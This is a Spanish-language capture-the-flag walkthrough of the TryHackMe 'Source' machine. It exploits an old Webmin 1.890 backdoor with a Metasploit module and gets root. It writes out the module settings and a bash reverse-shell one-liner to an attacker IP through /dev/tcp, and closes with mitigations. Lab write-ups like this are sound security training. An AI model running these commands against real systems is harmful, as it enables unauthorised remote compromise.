Source - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
Source - TryHackMe Walkthrough
Bienvenido a mi writeup de Source de TryHackMe.
Una máquina de dificultad fácil que demuestra la importancia de mantener los servicios web actualizados. La vulnerabilidad principal es una versión antigua de Webmin que permite cambio de contraseña y ejecución remota de comandos sin autenticación. El acceso directo a root hace que la escalada de privilegios sea trivial, pero el camino real plantea análisis de certificados SSL y búsqueda de vulnerabilidades conocidas.
Room: Source
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root
🎯 Información del Objetivo
IP Target: 10.114.168.77
🔍 Fase 1: Reconocimiento (RECON)
Comprobación de Conectividad
Comienzo verificando si la máquina está activa:
ping -c1 10.114.168.7764 bytes from 10.114.168.77: icmp_seq=1 ttl=62 time=42.6 ms
💡 Referencia rápida de TTL:
- TTL ≈ 64 → Linux/Unix
- TTL ≈ 128 → Windows
La máquina responde al ping con TTL=62, indicando que estamos ante un sistema Linux.
Escaneo de Puertos Amplio
Realizo un escaneo de todos los puertos para identificar qué hay expuesto:
nmap -p- --open --min-rate 5000 -sS -n -Pn 10.114.168.77-p-→ Escanea todos los 65535 puertos--open→ Muestra solo puertos abiertos--min-rate 5000→ Mínimo 5000 paquetes por segundo-sS→ SYN scan (stealth)-Pn→ Sin ping previo-n→ Sin resolución DNS
PORT STATE SERVICE 22/tcp open ssh 10000/tcp open snet-sensor-mgmt
Encuentro dos puertos abiertos: SSH (22) y un servicio en puerto 10000 (etiquetado como "snet-sensor-mgmt" pero necesito investigar más). Realizo escaneo detallado:
nmap -p22,10000 -sCV 10.114.168.77-sC→ Scripts NSE por defecto-sV→ Detección de versiones
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 b7:4c:d0:bd:e2:7b:1b:15:72:27:64:56:29:15:ea:23 (RSA) | 256 b7:85:23:11:4f:44:fa:22:00:8e:40:77:5e:cf:28:7c (ECDSA) |_ 256 a9:fe:4b:82:bf:89:34:59:36:5b:ec:da:c2:d3:95:ce (ED25519) 10000/tcp open http MiniServ 1.890 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1)
El mapa de servicios:
- Puerto 22 → SSH (OpenSSH 7.6p1)
- Puerto 10000 → Webmin 1.890 — MiniServ httpd
La versión de OpenSSH es antigua (7.6p1) y Webmin 1.890 es notablemente vieja. Ambas podrían tener vulnerabilidades conocidas.
📁 Fase 2: Enumeración
Búsqueda de Vulnerabilidades Conocidas
Utilizo searchsploit para buscar si hay exploits públicos para estas versiones:
searchsploit OpenSSH 7.6p1Encuentro vulnerabilidades de enumeración de usuarios, pero nada explotable directamente. Ahora busco por Webmin:
searchsploit Webmin 1.890Webmin 1.900 - Remote Command Execution (Metasploit) | cgi/remote/46201.rb
Encuentro que existe una vulnerabilidad de RCE en Webmin 1.900, muy cercana a la versión 1.890. Es posible que la versión 1.890 también sea vulnerable.
Luego pasaré a las pruebas de explotación, por ahora voy a enumerar pasivamente.
Intento: Acceso HTTP Directo al Puerto 10000
Intento acceder mediante HTTP estándar a http://10.114.168.77:10000:
El navegador me muestra una página, pero parece que hay problemas de renderización. Webmin típicamente usa HTTPS, no HTTP. Esto podría ser un intento fallido de acceso.
Acceso HTTPS al Puerto 10000 — Exitoso
Cambio al protocolo HTTPS: https://10.114.168.77:10000/
El navegador me advierte sobre un certificado auto-firmado. Acepto el aviso y accedo al panel de Webmin.

Estoy dentro del panel de Webmin. Pero aún necesito credenciales para acceder completamente.
Análisis del Certificado SSL
Reviso el certificado SSL del sitio haciendo clic en la información del certificado. Encuentro información valiosa en el certificado auto-firmado:

En el campo Subject CN encuentro: root@source
Esto sugiere que:
- El servidor está identificado como "source"
- Potencialmente hay un usuario "root" o la aplicación se ejecuta como root
- El email "root@source" es una pista
Investigación de la Vulnerabilidad Webmin 1.890
No sé que más enumerar pasivamente, por lo que decido qu ees momento de comprobar si Webmin 1.890 es vulnerable al exploit que encontré antes (Aunque no sea para exactamente la misma versión).
Voy a usar el exploit que para la versión 1.890 el cual permite cambiar la contraseña de administrador SIN autenticación previa. Esto sería crítico.
Busco en Metasploit un módulo explícitamente para esta vulnerabilidad:
msfconsolesearch webmin backdoorEncuentro el módulo:
exploit/linux/http/webmin_backdoorEsta es la vía de explotación que probaré primero.
🚀 Fase 3: Explotación
Explotación Webmin via Metasploit
Cargo el módulo de exploitación:
use exploit/linux/http/webmin_backdoor
set RHOSTS 10.114.168.77
set SRVHOST 10.114.168.77
set LHOST 192.168.139.157
set LPORT 4455
set SSL true
run
Obtengo acceso inmediato como usuario root. La explotación funciona de forma directa sin pasos intermedios.
Estabilización de la Shell
Aunque ya tengo acceso, voy a enviarme una reverse shell más estable para trabajar cómodamente:
Primero, me pongo en escucha:
nc -nlvp 4455Desde la shell que tengo en metasploit, ejecuto una reverse shell:
/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.139.157/4455 0>&1'Obtengo la conexión. Realizo tratamiento de TTY para estabilizar:
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xtermAhora tengo una shell funcional como root.
whoamiroot
Confirmo que estoy como root. Posiblemente no necesitaba hacer todo esto porque ya tenía acceso directo, pero es un buen ejemplo de cómo tener una shell estable y funcional.
🚩 User Flag
Busco la flag de usuario. Generalmente se encuentra en directorios home de usuarios estándar:
find / -name 'user.txt' 2>/dev/nullEncuentro dónde está la flag
/home/dark/user.txtFlag de usuario capturada.
🚩 Root Flag
Ahora busco la flag de root:
cat /root/root.txtFlag de root capturada.
📊 Resumen
Cadena de Ataque
nmap puertos 22,10000 → searchsploit → HTTPS → análisis certificado SSL → Webmin vulnerable → Metasploit → RCE directo como root → reverse shell → 2 flags
Herramientas Utilizadas
- nmap — Reconocimiento de puertos y versiones
- searchsploit — Búsqueda de exploits públicos
- Navegador web — Acceso HTTPS y análisis de certificados
- Metasploit Framework — Explotación del backdoor Webmin
- netcat — Reverse shell listener
- bash — Ejecución de comandos
🛡️ Vulnerabilidades y Mitigaciones
| Vulnerabilidad | Severidad | Mitigación |
|---|---|---|
| Webmin versión antigua sin parches (1.890) | CRÍTICA | Actualizar a versión segura (>1.920); aplicar parches de seguridad regularmente |
| Webmin ejecutándose como root | CRÍTICA | Ejecutar servicios con usuario no-privilegiado; principio de mínimo privilegio |
| Falta de seguridad en profundidad | ALTA | Firewall: restringir acceso a puertos administrativos; usar VPN |
📚 Referencias
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Sigueme en TryHackMe :
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.